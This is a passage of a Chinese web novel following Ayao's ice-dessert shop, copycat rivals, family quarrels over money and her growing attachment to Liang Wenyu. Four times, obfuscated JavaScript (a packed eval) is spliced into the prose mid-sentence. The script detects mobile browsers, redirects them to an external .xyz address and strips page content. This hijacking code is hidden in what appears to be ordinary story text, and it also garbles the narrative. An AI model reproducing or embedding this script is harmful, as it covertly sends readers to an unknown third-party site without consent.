阿瑶目光上下扫了圈:“大娘太心急了些。”她不是心疼衣裳,是对梁文宇脚边抽丝的模样有些难以启齿的笑意。 她差点就要忍不住笑出声,好似回到卖下他时,那模样可比现在好很多,至少除去脸上伤,衣衫完整。 心底默默对大娘充满感激,细盐正好能放到家里用,不过比粗盐多了个好处,可以更省一些。 细盐提炼方式比粗盐多一道工序,阿瑶想能否将粗盐磨碎,这样至少能顶上三四月,盐价是不太会降了,可生意还要继续做。 汴京的夏季比其他季节都还要漫长许多,一年中多数时刻都在经历闷热天气,从五月开始至八九十月,酷暑比寒冬还多。 温度总是高低不等,刚出门身上就出了一层薄汗,黏糊糊的,干起活来都浑身不知在,阿涛从州桥过来一直打着油纸伞,挡下些许阳光,可在怎么遮掩,身上还是能觉得热。 她揭开木板,丝丝凉意由窄小门口往外吹,脸颊感受到微弱气息,微皱的眉头缓缓舒展开,连脑袋都清醒不少。 阿瑶先行一步独自开店,她搬了几块木板到边上暂存,而后撸起袖子把桶中的冰块锤一锤,捣碎,方便后面挖出装盘。 其余几人来的晚些,许老大负责运冰到铺子供阿瑶做炒酸奶,并非一开店就有人来吃冰。 无非是掐准了大伙吃冰时段,她也能在此期间多煮些果酱,省去后头琐事。 果然如阿瑶所料般,食客皆在贴近晌午陆续过来吃冰,其中还含有酒楼小厮和书童过来代买,她是知晓自己手艺好,但今日算是以往人数最多时。 大堂和铺子外头的人扎堆挤在一处,相熟的食客早早拼桌起来,阿瑶实在没法,让梁文宇去街上买几张木桌回来。 她本想将扩店一事暂且搁置,可当站在窗前望着屋中左右都坐满人时,这个念头被她突然打破。 不光里面,连外头等位的食客找了个凉快地席地而坐。 其实阿瑶对人多是高兴的,可外头接连不断来吃的食客远远超过店中能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593988|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容纳下的余地,她都快怀疑这些人是从何处冒出来的。 都是些平日里没见过的生面孔,各个穿戴整齐,要说逃难是半分未像,街上来往的平头百姓也不过寻常穿法,头戴发巾和木簪,少数富裕人家还能带些银饰和鎏金首饰。 即便在富裕定多是在衣裳布料上头下些功夫,譬如料子好些,腰间和鞋面添些花纹之类,阿瑶看他们身上所穿都是些富贵人家该有的料子,难免会有些顾虑。 一是担心有人故意生事,二是担忧他们未必喜爱如此嘈杂之地,据她所知像梁文宇这些公子哥都是去雅间居多,嫌少有留在大堂交谈。 她抿嘴猜想,但又忍不住审视起人群,转身间似乎瞥见正前方有位食客腰间挂着个令牌,上头写着恒字。 这个字眼从未在她记忆中出现,连同街上东西两市以及商户名号全牢记于心,可揣摩半天都无法说出其中缘由。 “你可曾见过哪户大人家中会用恒字作为令牌,想来因是专程保护一人!”阿瑶见过其他到她这来采买吃食的人家,他们身上挂着都是府邸名号,唯有少数人会专程保护一人,当日姣姣侍从来去炒酸奶时腰间挂着的就是名。 梁文宇轻飘飘扫视一眼,敛去眼中神色,缓慢开口:“嗯,或许是府上公子哥儿派人过来采买。” “我曾见过回,当时不敢轻易断定,今日算是瞧准确了。”阿瑶双铲共用,手上一刻未停,她担心口中唾沫喷溅进去,让海氏帮忙做了个类似罩子一般的东西,用连根棉绳连起来挂在后劲,坏处是说话有些叫人听不清。 “倒也不难,文人雅士自有那套风雅之姿,你见识少必然稀奇。”梁文宇早见怪不怪,他当初可是其中一员。 “说来即是,往后问你便都知晓了。”阿瑶递出炒酸奶,手背抵了抵后腰,接着继续做起来。 梁文宇观察细微,他替阿瑶打下手时记下所有炒酸奶和沙冰用料,伸手:“我来,你且去休息会儿。” “好。”阿瑶点头,此刻她有些撑不住了,坐到靠墙位置休息,眼前竟然有些发黑,腰间酸胀感得以舒缓。 “老大,老大媳妇。”许老爹背手悠闲出现于人前。 此刻忙活的夫妇两人手中停下动作,海氏粗粗擦了几下手,上前迎接:“阿爹,您怎么来了,快坐下歇歇。” 许老爹瞧了眼铺子中人,又见人手不足那里还坐得住,跟着海氏收拾起来,等人走光才坐下:“阿爹本不愿再来叨唠你们夫妇两人,你阿嬷管得你阿弟通天白日的发糊涂梦,家里缺了些银子,我只好先过来腆着脸问你们借上一借。” “阿爷,您这说哪儿话,我和爹娘本就是得了您给的私房钱才有今日营生,只是小叔伯一而再再而三,今日我能拿出银子替他还上,往后着账还需他自个填。”阿瑶是看在阿爷面上,借钱给小叔伯,全当时换了他老人家的恩情。 许老爹明了自家孙女的话:“你放心,阿爷人老但还没糊涂,亲兄弟明算账,老祖宗传下来的话即有它的道理。” 35. 分家后(十二) 老二整日仗着有老婆子护,颠三倒四的糊涂过日子,大祸小祸接连不断,老子小子为了他一人搭进去多少钱。 许老大抬起浑浊发黄的双眼,手肘靠上木桌,苍老脸上神态全无,眸底透出股微弱怒意,铺子内顿时悄无声息。 许老大夫妇站在木桌前,阿瑶则坐着同许老爹说话,手里捧着钱匣子一粒粒数起来。 她边数边将银子往外放,分成两份:“阿爷,这份你拿去替小叔伯还钱。”那份银钱被她推到许老爹面前。 其实钱匣子内银钱本身就不够分,这些还是阿瑶攒下来准备扩门面的,如今阿爷急着要用,她就只好先挪出去,剩下缺少部分慢慢攒起来。 许老爹岂能不为所动,他知晓阿瑶店中生意好,冰价上涨处处都要用到银子,光今日一天估计少说都需三块冰,整合起来就是三两银。 “阿瑶,阿爷拿十量足以,剩下这些你留着去买冰!”许老爹人在家中,村中邻里不免要夸奖一番,自然晓得老大一家在镇上是何等处境。 前几日光听外头人说他们铺子毫无生意时他也只是坐在院子里替老大一家发愁,更何况铺面多少银钱他当过文书先生岂会不知。 阿瑶对许老爹很是敬重,她把银子又推了出去:“阿爷,您收着,多了的就当是为您自个留作榜身的银钱。” 桌上放着一共是三十两白银,都是阿瑶一点一点从铜板换成白银攒起来的,每一粒银子里头都含着她的劳动与汗水。 许老爹拗不过阿瑶,转身对着身后老大夫妇一顿臭骂:“你们俩若是让我孙女吃了委屈,老头子我第一个饶不了你们。” 破天盖地突如其来的一顿骂让许老爹夫妇满脸懵,连连应答下去:“是,是,是。” 许老爹舍不得离去,可家中还有个逆子等着他收拾烂摊子,临走前:“过几日阿爷让你小叔伯送些家里自己种的菜过来,顺道叫他在镇上找个像样的活,把欠你们的钱都还上。”他回去定要好好骂醒那个孽障。 “阿爷,您莫气坏身子,小叔伯这般也并非一日两日了,银子不急,最主要还是叫他先找个活干。”阿瑶嘴上说着,心底却希望小叔伯今日就能还上,她好将铺子扩上一扩。 许老爹瞅了一眼三人,点头:“阿爷明白。”他们家怎么就只出了一个经商脑袋?可不能白白埋没,只可惜是个女娃娃,若是男子必定入朝为官。 他易惋惜易骄傲,当下遍地商人风气盛行,即使是像他这般祖上有过官职之人没落成农,每年缴纳两税维持温饱、拉扯一家子人算是不错,但凡遇到灾荒颗粒无收便是陷入贫困。 商又有何不好?凭自身本事营生,女子又何妨! 送走许老爹,阿瑶便去后厨备货,许老大夫妇俩双目对望,海氏示意许老大去探探阿瑶话,她公爹来的有些蹊跷,小叔子实在太不像话成天惦记他们口袋里的银子。 许老大本不愿去问,想到他爹来借银子,阿瑶二话不说就给的模样古怪着,这才借复炸黄鱼为理去了后厨,他手捏稻草生火,竹筒吹了几次开口道:“你阿爷自小宠你,要什么给什么,就是常年不着家,今日来借银子可千万别往心里去,觉得他们偏袒你小叔伯。” “阿爹,你为何如此问?”阿瑶停下动作,“借银子是看阿爷面上,至于小叔伯往后如何,我并未想多管。” 许老大听了话,符合道:“说的对,我们分家别住,后头自然多的是好日子。” “那些借出去的银子,若是还上必然最好,若是未能还上,就当是买断与小叔伯一家的血缘之情。”她想清楚了,分出去住终究还是同根生,往后有什么都还是要帮,这样做也是为了接下来的日子能少些烦恼。 许老大没想过阿瑶会说出如此的话,眼中有些震惊,很快就恢复镇定:“这样也好,省的日后总找咋们借钱。” 海氏站在外头可后厨父女间谈话她一个字都不落,捏着抹布由外头换到里头擦,而后会心一笑。 对手头相对宽裕的他们来说,十五是极限,前面许老大给的五十两银子已经花的差不多,剩下的维持当前绰绰有余。 接下来几日里,阿瑶铺子的营生比之前都还要好许多,沿着州桥而建的酒楼抛开菜式,吃冰的食客基本都首选她家,失去夏日里最为挣钱的营生,那些酒楼就开始琢磨怎么招揽食客的法子了。 以花楼为首的店家,出了款新式沙冰,拉客的人都走到她铺子前了,逮着人就说,硬要把对方叫过去瞧。 只是去了的食客无一折返而归的,这是最叫阿瑶意外的一点。 此时有个食客进来,向外瞅了眼:“阿瑶姑娘,今日花楼出的新品是你同那店家合作了?” 她手中正忙活,后厨噪音大,有些未听清,只是目光触及对方时给了个浅笑。 这样一来到叫人误会了,食客们不紧不慢吃起来,相互探讨着。 海氏听的真切,但也有些不明所以然,她就坐在一旁听起来,等到人说到花楼和周边其他食客都学会了阿瑶沙冰秘方犹如火烧般跳起来。 “阿瑶,你同阿娘讲,你是不是背着我和你爹偷偷买了方子出去。”她以为是银子不足。 阿瑶做完一碗走到对面柜子取果酱,开口道:“阿娘,您在说什么?我怎会买了方子!” “外头食客难道说的都是假的不曾,他们都在说花楼冒出很多同咱们相同的沙冰,价格便宜。”海氏将听到的都说了出来。 阿瑶转动眼珠,黑色眸子在眼眶旋转,一会儿往哪儿一会儿望这,最后定在外头交谈甚欢的食客身上,质疑起来:“您说的都是真!” “还能有假不曾!”海氏道。 “阿娘,遇上大麻烦了!”阿瑶解开围裙带子,朝外走,脚步飞快。 当她站在花楼门匾下,鼓起勇气进去瞧上一眼,果真,和食客说的一模一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604513|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 本该是她店内的招牌冰沙,如今被人照搬照抄摆在花楼桌前,连外头装饰的果肉都是一等一的还原。 要知道这些可都是她花费好几日才研制出来的成果,现在却明晃晃被放在他人屋檐之下,阿瑶顿时有种脑内充血之意,愤怒都快淹没她纯白眼角。 不光花楼,外头冰饮摊上的冰沙比花楼还要像,看着昔日同她相聊胜欢的摊主,此刻内心已如寒冬来临,凉意顺着身躯向外延伸直至末梢,那是从渐苏的湖面挣脱而出的失重感,苍白掩盖了她原本红润气色,无意抗拒将她次次打入水底,像快要窒息般。 肩被人搭上,她扭头往去,眼底的淡漠和生气在此刻倾泻出来,软弱呈现在他人面前。 “怎么了?”梁文宇在远处看了她许久,从冰雪铺出来一直跟在她身后。 阿瑶自嘲道:“被阿嬷卖时曾抱有一丝期许,最后侥幸逃脱,可厄运总会降临。” “不。”他自幼锦衣华食,从未吃过苦难,自从褪下华服过上平民日子后才知书生寒窗苦读艰辛,百姓并非他所看到般安居乐业,所有一切不过是被人岩掩饰的真相,“你从未独自一人,你身后还有亲人..”和我。 ““即使效仿你又何妨,取其精髓去其糟糠,不就是如今的你想做的吗?”梁文宇语气平淡,像是在劝解阿瑶可却又不像。 “是。”阿瑶更加坚定她做冰饮初心,“自始至终,我一直觉得是孤身一人,可当得知推崇女子从商时我心底是多么的欢喜,女子终于不再受束缚,可万事开头难。” “再难走的路,并非一人能够开拓,或许该有个人帮你!”梁文宇朝她抛出橄榄枝。 可阿瑶思绪里并未将他放在首位,甚至开始打起另外人的主意。 由于沙冰被多人效仿,阿瑶决定努力研究炒酸奶,毕竟只有她一人会。 但是外头做沙冰的铺子实在太多,果酱和口感方面未必能做到像阿瑶一半精致细腻,多少带着些粗糙感,可他们胜在价格便宜。 对阿瑶来说并非是个好消息,她铺子内未出现过低于十文的沙冰了,连小份都要再加上两文,冰价在官府控制后又急剧飙升,连同盐价一起都快达到一两半。 能留下吃冰的食客隔了好几日来上一回,就炒酸奶而言冰沙才是百姓平日里吃上居多的东西,阿瑶多数时候被备下的两桶冰都能在一日卖完,好时只需一晌午。 随着人流减少,这才过了没几日,她店内的食客都被外边便宜的摊子引走,生意一落千丈往下掉。 为防止铺子无法经营,阿瑶开始动用食客对价格的新鲜劲,推出一个“冰冰卡”。 点子很好理解,阿瑶回到铺子里着手做,她打算搭配先前开张时卖二送一方式上再多个满十打折,凡是勾选十次以上就可免费吃冰一回。 这个法子通过了三人一致认可,看着阿瑶满怀信心,梁文宇勾起嘴角都未自知。 36. 分家后(十三) 阿瑶脸上神采奕奕,杏眼中发着亮光,像满天星辰般闪闪夺目,深棕眸子黑白分明,眼中倒影起三人身影。 她速度快,在许老大和海氏商谈如何进行时已经将法子写上木板,三行木炭字迹留在上头粗细不一,这是阿瑶故意为之,用来突显其中几个重要字眼。 果然,她的法子起效果了。 经由食客之间相互传达,冰雪铺与其他酒楼暗地里开始争夺。 相较于其他食客阿瑶铺子里统一点的都是炒酸奶,当然喜欢吃蜜沙冰的人也有。 买二送一相当难得,自从阿瑶开张后几乎没有做过如此低廉的价格,若说买二送一优惠,那么满十次打折像是捡着便宜般。 外头排队等吃食人众多,长长一条,海氏招呼完大堂还是要去送些水给外头人,阿瑶把位置让给梁文宇,自个则和海氏一起在大堂忙里忙外,一桌接连一桌。 送完最后一波食客,阿瑶捧着钱匣子出来,里面满满当当一盒子铜板,她反扣在木桌上,抽出麻绳一个个边数边穿,一贯钱,两贯钱.. 他们一天统共赚了四贯钱,要是每日都能如此实在太好了,阿瑶捏着钱细细想着。 “阿爹,阿娘在过几日我们把铺子扩一扩可好?”阿瑶突然望远处忙活的梁文宇,笑眼弯弯。 还是摸上阿瑶头,眼中带着慈爱:“好,我们阿瑶说什么都好。” “阿瑶,扩店可非小事,你可要考虑清楚!”许老大瞧过墙中间木板,要说敲打掉是极快的,可就怕中间夹着石板,处理起来麻烦费时。 许老大提议:“扩店期间,我们还是用推车做生意吧!”一来二去少说也要小半月,岂不白白浪费挣钱机会。 “不必,叔,我瞧过,中间是几块木板卸完就好。”梁文宇拎水壶过去替换。 许老大点点头,回到后厨准备收店工作,他总是会将灶台上方收拾干净,必须每次烧完都擦,这是他一直以来的习惯,多年未变。 晚间归家时,时隔一周未回来的两个哥儿坐在院子凉亭下写字,旁边摊着不少书籍,有几本摊开朝天放着,墨水染了衣袖和手。 或许是几日不曾相见,阿瑶尽然觉得两人似乎个头高不少,圆乎乎小脸瘦了些,只是余哥儿脸向来比小宇小很多。 说来奇怪梁文宇与兄弟两人名字都如此相似,有时候还觉着他们三人才是亲兄弟。 不过扩铺子一事被又被搁置了下来,铺子东家在他们最忙之时过来吃了碗冰,回头让官牙子喊了东家过来签下半年之期。 想来是东家见他们生意好,后厨弄的不似前几个人一般,同意他们租下,半年租金至少要三十两。 阿瑶使出浑身劲同东家耗费好些口舌,叫东家哪日想吃冰派人来取,这才让对方松了口,免去一月租金。 旁边铺子都是这位东家的,阿瑶缴租金时一并让官牙子帮忙说上几句好话,东家是个生意人,性子相较随和,答应下替她预留铺子一事。 至于租金阿瑶是交不起了,眼下她手头还剩五两,真是要紧巴巴过日子。 地窖里头上次屯下的冰快要撑不住几天,马上就要见底,她手头又紧张,好事坏事都堆一处去了。 敲定印章,送走东家,阿瑶趴在木桌上,急的锤桌子,她整理发髻时突然摸到中间的簪子,拔下来,攥在手心:“实在不行,只能买了它换钱。” 这簪子花样简单,到底是银制能买上些价钱,可上头蝶形珠花不仅让阿瑶想起那晚梁文玉送于她时的情况,不禁长叹口气。 将簪子插回发髻,虽然她动了卖首饰的心思,可海氏与她并未多少,当年嫁入许家的嫁妆都被许陈氏搜刮走,换了银子替她小叔伯娶媳妇。 这些年靠着日夜绣帕子贩卖,一年到头能赚上两三量已算不错。 一连三日阿瑶店内都是相当火热状态,即便是路过本没心思想吃的人都会被勾起好奇心进去瞧一瞧,如此以来就有了吃冰打算。 那些小厮怂恿府中少爷小姐出钱购置沙冰,多的人已达到十几次有余,对方也瞧准了阿瑶的给出的便宜空子,钻了一钻,打折是手到擒来。 本来连吃十次以上就是阿瑶对照这群达官贵人设计出来的,哪怕是宴请府中所有人可达到限制条件,阿瑶都是稳赚不赔的。 只不过她对于这个法子还是期许太高了些,自第五日开始,来吃冰的人相对少了一些,只有昨日的三分之二,少虽少可也将铺内坐满。 此时门外闯进一个人,身穿单褐长衫,动作粗鲁,一进门就直呼要水喝。 阿瑶怕是哪位食客,倒了水上前,待看清人脸后喊道:“小叔伯!” 许老二喝了水用袖子胡乱擦了一通:“阿瑶,你阿爷叫我送些新鲜蔬果过来,今年收成好,摘了好些过来。” 他说完眼神开始打量起铺子,目光从食客头顶转走,朝后厨瞧了眼,走到海氏身边捏起小吃就往嘴里塞:“嗯,嫂子,这味道真不错,一吃就知是大哥手艺。” 海氏本着自己人,客气道:“二弟多吃些后头还有,一会儿走时带些回去让弟妹和爹娘都尝尝。” 阿瑶此刻和梁文宇换了位置,站在窗前收钱,听了海氏话叫端了盆黄鱼和鸡骨头出来,用牛皮纸打包好。 那头海氏和许老二还在闲聊,两人平日里见面都聊不上几句,今日反倒多聊了几句,阿瑶抬头和海氏对望一眼。 人走到跟前,“二弟,这些带回去给爹娘吃,你这包留着路上吃,今日幸苦你顶着烈日走一趟。”海氏将东西递到许老二手边。 “嫂子,让我歇歇在走。”许老二那里听不出对方是赶人意思,硬是厚脸皮说着。 海氏瞄了眼阿瑶笑道:“你瞧我,都给忙糊涂了,都没叫二弟坐下吃碗冰,外头热是该坐会儿在走。”转头去后厨拿了碗蜜沙冰,“二弟,来尝尝店里招牌。” 许老二捏起勺子尝了口,味道真不错,他看着不断进入铺中的食客,食客多人手少,有一阵子忙活,细长单眼咕噜转着,一碗冰下肚,舒坦很。 送走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611254|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许老二,阿瑶翻了翻送进来的蔬果,个头大还新鲜,尤其是白皮圆瓜,可是难得一见,卖相还好。 阿瑶心生一计,把瓜去皮,挖取最软糯果肉扔进铁盘,捣碎后加入酥珞,切块装盘,又叫来梁文宇让他去外头木板上加字。 熟悉老客都知晓这规矩,但凡木牌写有“盲盒”两字,必定是他们未吃过的新口味,毕竟这事阿瑶做过不止一会两会,所谓一回生二回熟,次数多了,外行人都能摸透里头的奥秘。 送来的瓜果不过六七个,她挖走中间最甜的那块,剩下外延一圈果肉,阿瑶丢进冰桶冻住。一个香瓜切成两半可以做两碗炒酸奶,银钱方面阿瑶收取的数量还是高的,哪怕是“盲盒”。这样一碗炒酸奶和蜜沙冰阿瑶至少要收十五文。 要说多出来的三文到底贵在何处,自然是上头精心制作出来的装饰,细条如丝般的果肉是冻后用木刨削出来的,堆积在一起形成座雪山,山顶是巴榄子碎,奶杏色果肉点缀在上头,再加上从底端冒出的雾气,送出去时简直就像真的一般。 别说外头食客新奇了,连阿瑶都要为此经验到,这还是她第一次随机创意,味道都还没常过一口就直接让梁文宇端出去,她站在窗前有些忐忑,视线紧紧盯着,瞧见对方舀了勺放入嘴细尝,蹙起的眉头就未松开过。 “太好吃了,清甜果香融合奶香,是能上供给圣上的佳品!”那人吃过后夸赞起来,“明日可还有?” “今日已售空,明日未必会有!不过...”阿瑶睨了眼众人道,“佳品难得,后厨还有几碗可做,人数过多,那只好价高者得。”” 她刻意留预留几碗,就是等哪位给出较高评价的食客吃完,只要铺子有新品,阿瑶一定派人去请。显然大伙对这位食客评价很是信任,出价一个比一个高,谁都不愿相让。 涌上来的人群将阿瑶团团围住,她抽不出身,腰间抵在窗前整个人差点要往里栽下去,前面人继续往上挤,指尖捏着银子追问。 “各位,请先坐一坐,从十五文开始竞价。”梁文宇托住阿瑶,走出来,做出一个请的动作。 她缓过神看着梁文玉从容模样尽然有些发懵。 价格一路往上走,最高售出价是原有两倍还多,直到卖完,没吃上的食客私底下说了几句难听的话。 阿瑶略表歉意:“诸位,多谢你们对冰饮的喜爱,今日是我们准备不周,改日来必定让各位吃的尽兴。” 即便这样,阿瑶后头一日营生还是无法睥睨前几日,见大伙高昂性质逐渐散去,冰雪铺回归往常。 其中有被花楼和周边摊位拉走的不在少数。 “你树敌不少啊!”梁文宇双手抱胸,步伐惬意,站到阿瑶身边。 “当初开店做营生想过会被周边抵抗,可却没想到他们联合来要将我踢出去!”阿瑶转头,目光移到他脸颊一抹嫣红上。 冰凉食指点了点,柔软触感让两人都愣在原地,她讪讪收回,眼神飘忽都不敢与他对视,“我见你脸上有果酱,替你擦一擦。” 37. 分家后(十四) “多谢。”留给梁文宇的只有一头乌发。 阿瑶猜到他要说地话,可她耳廓已有些发烫,抬眼撞进了他炙热目光,双目相对,眼底的柔情参杂了丝期许,像未开封的酒般醇真。 若非眼眶酸涩,阿瑶或许还挪不开眼,低头模样宛如仙子垂暮,柳叶眉纤细浓密,杏眼圆润,眼角上扬带着点勾人之色。 她心中似有些悸动,捂上胸口的手不断蠕动起来,指尖勾住衣衫轻抠,薄如蝶翼的双睫微颤:“我始终不敢问你,你是否..”对我有意.. “不敢问何事?”梁文宇脸上还残留着那抹红,只是前半段被抹去,后半段冒出个尖。 他眼眸暗藏波涛,相比阿瑶惊恐,脸上多了些坦然,微勾嘴角。 阿瑶余光偷瞄,忽而说道:“无事,想问你今日可有何看法,譬如对我手艺..” “你手艺很好。”梁文宇收回眼,“你想对我说的应该不是这句话!” “是!”阿瑶承认,嗓音小而急,“不过是我自作主张罢了!”她自暴自弃起来。 她看不透他,也不知对方心意,可内心忽高忽低得感受让她心动不止,那种感觉使她无法控制自己去想去念。 原本阿瑶内心还处于挣扎状态,可梁文宇像是要试探她一样蓦然靠近身旁,让阿瑶措手不及,腰间似有似无的药香钻入鼻内。 她下意识去寻,可对方明显是有意向她这边过来,“你往边上去点。”靠着木板都转不了身。 阿瑶捏着麦芽糖浆裹上黄豆粉开始做银丝糖,雪山上的果肉细条略微粗了些,只有加入糖丝才能做到酥山如雪,白如玉。 不过阿瑶想先买几个越王头过来,晒干里头果肉磨成粉说不准口感还要好上许多。 梁文宇上手帮忙,捏糖时无意碰到她,吓得阿瑶如受惊小兔般,脑内空空,瞪着双杏眼,瞳孔微缩,手中糖丝都快被她掐断。 “你…”她一时有些语塞,“我去瞧瞧阿娘在做什么!” 她跑到大堂接过海氏手中帕子擦起来,今日人数少,送完晌午一波食客后,他们就暂时歇息下来。 “老大!”许陈氏坐着驴车过来,带了不少蔬果,“哎呦,这铺子可真不错!” “阿娘!”许老大夫妻俩同时叫出口。 许二老扶着许陈氏进铺,海氏端茶过去,阿瑶叫了声后去后厨做了两碗冰沙出来递到他们面前。 许陈氏扫了眼冰沙:“这次我来是想替老二求个情。”她斟酌了几句又道,“既然都是自家营生想来老大和老大媳妇也不会介意再多个自己人。” 这话明显是许陈氏替老二说话,欠他们的银子都还未还,现在却动了歪脑经看上铺子。 “阿娘,我不同意。”许老大道。 “怎么?分了家,阿娘是外人了?”许陈氏睨了眼两人,低头吃冰。 许老大一听话不对劲,思绪一转,“老二什么德性,您还没瞧出来吗?前些日子借走的银子先还回来,就让老二来。” “你这混账东西,老二是你什么人,亲兄弟,连亲兄弟的忙都不愿帮。”她瞥了眼海氏,“果然是上不了台面的东西,弄得家宅不宁。” “阿娘今日过来,阿爹可知晓?”海氏摸准两人偷摸出来,估摸是想趁公爹不在家,让老二来铺子帮忙,好一个先下手为强。 许陈氏当时说不出话,像被什么东西讹住嘴,眼神躲避,细眼眯了眯,几日不见老大媳妇嘴皮子利索起来,“你阿爹自当是同意的。” “阿爷可未必是您说得这般。”阿瑶晓得许老爹脾气,她阿嬷赶来闹说明人未在家中,否则甭说出门了,多嘴说一个子儿都不敢吐露,“要不您在问问阿爷?” “此事必然是你阿爷说,我才会带你小叔伯过来!”许陈氏掩下心虚,淡定喝茶。 “哦!”阿瑶自然不信这话,“是阿爷默许还是您?回头我问问。” 许陈氏显然有些着急,眯眼盯看了好一会儿,她故作镇定:“你问,现在就去把你阿爷叫过来!” 阿瑶见匡不住,笑道:“好,不过这银子自然是要还的,这样吧,就从每月月钱里扣。”扣到月钱全无才好。 “你说什么!”许老二听话语不对,当即喊起来。 “小叔伯,您也是知道,为替你还债,家中银钱都掏空了,剩下这些还要维持生计,如今生意难做,只怕铺子没几日也要关门大吉。”阿瑶说的凄惨,就好像下一秒真要闭门谢客。 许陈氏听着话里有话,拦下老二,“阿嬷知你们为难,此事就当我们不曾来过。”孩子大了,管不住了! 许老大在镇上经营铺子,他们一家在村里也是有头有脸的人家,谁家里不盼着子女出息,许陈氏再糊涂也不会拿一大家子人去搏。 况且老大给了不少银子,替老二还上还多了几两都叫她藏下做棺材本,许陈氏瞅了眼老二又望着远去的牌匾,气打不一出来,真是没法比! 送别两人,阿瑶知道今日这战算是打赢了,她阿嬷向来主意多,今日一定是被小叔伯说服,过来抢铺子。 只可惜他小叔伯空有一腔热血,实际连五两银都拿不上来,这不白白浪费她口舌。若真叫小叔伯过来,铺子要乱了套! 这几日官府出面压制的冰价好似又开始上涨,原本已恢复正常价,如今是和盐价双双渐涨,那一块冰从原先的低价缓慢上升到六十文再到八十文而后一两,本就清贫人家要热死街头。 八十两一块已算是便宜,吴县令派人交涉无果,只能看着价格不断上涨,民不了生,心中惭愧不已,故派人借着吃冰为由叫了侄儿过府一叙。 吴县令坐在交椅前,眉心微皱,手边摆着书生上表文书,字里行间透露出对冰价昂贵的无奈和寒心,他长叹息。 “舅父。”梁文宇弯腰恭敬作揖。 吴县令抄起红笔在文书上写了几个字,搁笔后道:“子恒,冰价之事须提上日程,加快收网。” “侄儿知晓。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620700|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁文宇直起身子,“途中发现冰行中饱私囊与花楼做买卖一事,早已将这饿猫养成肥虎,贪婪吞噬良知,可惜苦了百姓。” 吴县令摇头起身,从书架上抽出一本实录:“往年冰行抽成最多与花楼平分,可今年似乎出现了变数。”不止是变数,花楼多了位竞争者,这些他都有所耳濡。 无需多说,梁文宇自然知晓那位变数在何处,花楼在镇上属于一家独大,自从阿瑶开了冰雪铺子后,花楼以及周边酒楼吃冰都被冰雪铺抢走,致使他们根本赚不到银钱,才会出现挤兑同行。 前些时日无意得知花楼同冰行背后交易,明了其中冰行所售卖价格,对于阿瑶这样的散户采取高价,花楼及其他酒楼则是价格低廉,他们抽取的利润要与花楼平分,反之花楼所赚以与冰行分成。 而他们怎么做的目的,保全自身同时能够顺利将阿瑶这个“独女”赶出镇上。 “收网一事还需缓上一缓。”梁文宇虽找到账目藏身之所,可具体还需深思熟虑后再决定。 吴县令听了话,点头表示:“好。”他继续再文书上头写批文。 冰价始终是吴县令心中最担忧之事,他府中清廉,花楼背后之人权势滔天,他一七品官想要揪出对方把柄亦非小事一件。 “你安排便是。”他没精力管,早已不是官府能够压制下来。 梁文宇见舅父忙着批阅,应下后便离开屋内。 路过花厅遇上多日未见的表妹与他阿娘相互交谈,该如何替阿瑶多找些人。 他本不想参与其中,可两人偏要拉着他过去参与此事,边说便将人往八仙桌前带。 “难得见你过来,阿娘备了些好果子,一会儿你拿出给阿瑶,说不准铺子里能多些人。”吴大娘坐在他边上道,“你说这果子阿瑶会喜欢吗?” 吴大娘:“昨日听说阿瑶铺子没人,我...”话还没说完,被打断。 “姑母,前些时日你已然派好些人去,今天就歇一歇吧!”不知怎的姑母十分喜爱阿瑶。 吴大娘摸上桌前几颗月牙型外表金黄的果子,扯住梁文玉袖口:“莫说是我给的!” 到底还是碍于母亲威严,梁文宇万般无奈只好尽数收下,成熟的果肉透过外皮散发出一种融合馥郁甜腻和清雅芬芳的气息。 “可有尝过,味道如何!”梁文宇最为在意还是果子是否能为其所用,他的确也想帮阿瑶,可帮的法子较为危险。 “自是尝过以后才叫你拿走。”吴大娘取了堂前木几上的瓷盘过来,“快尝尝。” 闻起来醇香,吃起来软如蜜一般甜,汁水充足,仿佛将夏日都带入其中。 